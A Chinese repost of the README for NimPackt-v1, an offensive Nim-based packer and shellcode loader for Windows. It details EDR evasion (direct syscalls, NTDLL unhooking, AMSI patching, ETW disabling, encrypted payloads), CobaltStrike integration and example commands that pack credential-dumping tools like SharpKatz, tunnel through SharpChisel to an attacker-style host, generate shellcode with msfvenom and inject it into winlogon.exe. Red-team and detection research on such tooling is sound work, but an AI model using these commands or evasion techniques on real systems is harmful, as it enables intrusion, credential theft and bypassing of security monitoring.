栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > .Net

渗透工具NimPackt:基于 Nim 的打包程序,用于 .NET 可执行文件和原始外壳代码

.Net 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

渗透工具NimPackt:基于 Nim 的打包程序,用于 .NET 可执行文件和原始外壳代码

Git地址:

chvancooten/NimPackt-v1:基于 Nim 的装配打包器和 shellcode 加载器,用于 opsec 和利润 (github.com)

描述

NimPackt是一个基于Nim的打包程序,用于针对Windows的.NET(C#)可执行文件和shellcode。它会自动将有效负载包装在编译为本机C的Nim二进制文件中,因此更难检测和逆向工程。有两种主要的执行方法:

  • Execute-Assembly重新打包 .NET 可执行文件并运行它,可以选择应用规避措施,如 API 取消挂钩、AMSI 修补或禁用 ETW。
  • Shinject使用原始的、与位置无关的 shellcode 获取.bin文件,并在本地或远程进程中执行它,可以选择使用直接系统调用来触发 shell 代码或修补 API 钩子来逃避 EDR。

目前,NimPackt具有以下功能。


  • 使用静态系统调用来修补执行以规避 EDR
  • 通过使用 ShellyCoat 刷新来取消生成线程的用户模式 API 的钩子NTDLL.dll
  • 修补程序 Windows 事件跟踪 (ETW)
  • 修补反恶意软件扫描接口 (AMSI)
  • AES 使用随机密钥对有效负载进行加密,以防止静态分析或指纹识别
  • 编译为或exedll
  • 支持跨平台编译(来自 Linux 和 Windows)
  • 与 CobaltStrike 集成,用于生成 ezpz 有效载荷

可以在此处找到用于进攻性工具的基于 C# 的二进制文件的重要来源。强烈建议您自己编译 C# 二进制文件。即使嵌入式二进制文件已加密,也应对敏感二进制文件(如 Mimikatz)进行模糊处理,以降低检测风险。



安装

如果您在使用 Syscall 编译二进制文件时遇到问题,请尝试将 GCC 降级到版本 8.1.0(尤其是在 Windows 上)。始终测试生成的有效负载!

在 Linux 上,只需安装所需的软件包,然后使用 Nimble 软件包安装程序即可安装所需的软件包和 Python 库。

sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto

在 Windows 上,从此处执行 Nim 安装程序。确保使用提供的实用程序正确安装和设置路径值。如果您没有安装 Python3,请按如下方式安装所需的包。mingwfinish.exe

nimble install winim nimcrypto
pip3 install pycryptodome argparse
Docker镜像

Docker 镜像 chvancooten/nimbuild 可用于编译 NimPackt-v1 二进制文件。使用 Docker 非常简单,并且可以避免依赖关系问题,因为所有必需的依赖项都预安装在此容器中。

要使用它,请为您的操作系统安装 Docker,并确保输入外壳代码位于当前文件夹中。然后,在容器中开始编译,如下所示。

docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin

CobaltStrike 插件

要安装 CobaltStrike 插件,请从菜单栏中选择 ->,然后选择 。确保从原始位置加载文件,否则将无法找到NimPackt脚本文件!Cobalt StrikeScript ManagerLoad.cna

用法
usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
                   [-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
                   [-d] [-v] [-V]

required arguments:
  -e EXECUTIONMODE, --executionmode EXECUTIONMODE
                        Execution mode of the packer. Supports "execute-assembly" or "shinject"
  -i INPUTFILE, --inputfile INPUTFILE
                        C# .NET binary executable (.exe) or shellcode (.bin) to wrap

execute-assembly arguments:
  -a ARGUMENTS, --arguments ARGUMENTS
                        Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
                        time arguments (default)
  -na, --nopatchamsi    Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
  -ne, --nodisableetw   Do NOT disable Event Tracing for Windows (ETW)

shinject arguments:
  -r, --remote          Inject shellcode into remote process (default false)
  -t INJECTTARGET, --target INJECTTARGET
                        Remote thread targeted for remote process injection
  -E, --existing        Remote inject into existing process rather than a newly spawned one (default
                        false, implies -r) (WARNING: VOLATILE)

other arguments:
  -o OUTPUTFILE, --outfile OUTPUTFILE
                        Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
                        or path. This property will be stored in the output binary as the original
                        filename
  -nu, --nounhook       Do NOT unhook user-mode API hooks in the target process by loading a fresh
                        NTDLL.dll
  -ns, --nosyscalls     Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
                        APIs to evade EDR
  -f FILETYPE, --filetype FILETYPE
                        Filetype to compile ("exe" or "dll", default: "exe")
  -s, --sleep           Sleep for approx. 30 seconds by calculating primes
  -32, --32bit          Compile in 32-bit mode (untested)
  -S, --showConsole     Show a console window with the app's output when running
  -d, --debug           Enable debug mode (retains .nim source file in output folder)
  -v, --verbose         Print debug messages of the wrapped binary at runtime
  -V, --version         show program's version number and exit

例子:

# Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v

# Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:userspublicdownloadssb.txt"

# Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'

# Pack raw shellcode to DLL file that executes in the local thread through direct syscalls, unhooking NTDLL as well
# Shellcode generated with 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll

# Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"

# Pack raw shellcode to execute in the existing Winlogon process (first PID with name 'winlogon.exe'), do not use direct syscalls or unhook NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns

二进制文件存储在安装目录的子文件夹中。生成的文件可以按如下方式执行(可以在 Nim 模板中更改入口点):outputdll

rundll32 exampleShinjectNimPackt.dll,IconSrv

每日分享:

感觉不到悲伤就不会悲伤,一片废墟并不悲伤,只有人懂得悲伤。我是遭遇过的人。 400 人的伟大。我们如此推崇人的灵魂,以至于无法忍受它为人轻视,也就是不被别的灵魂尊敬。人的全部幸福就在于这种尊敬。

一《人是一根会思考的芦苇》

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/911174.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号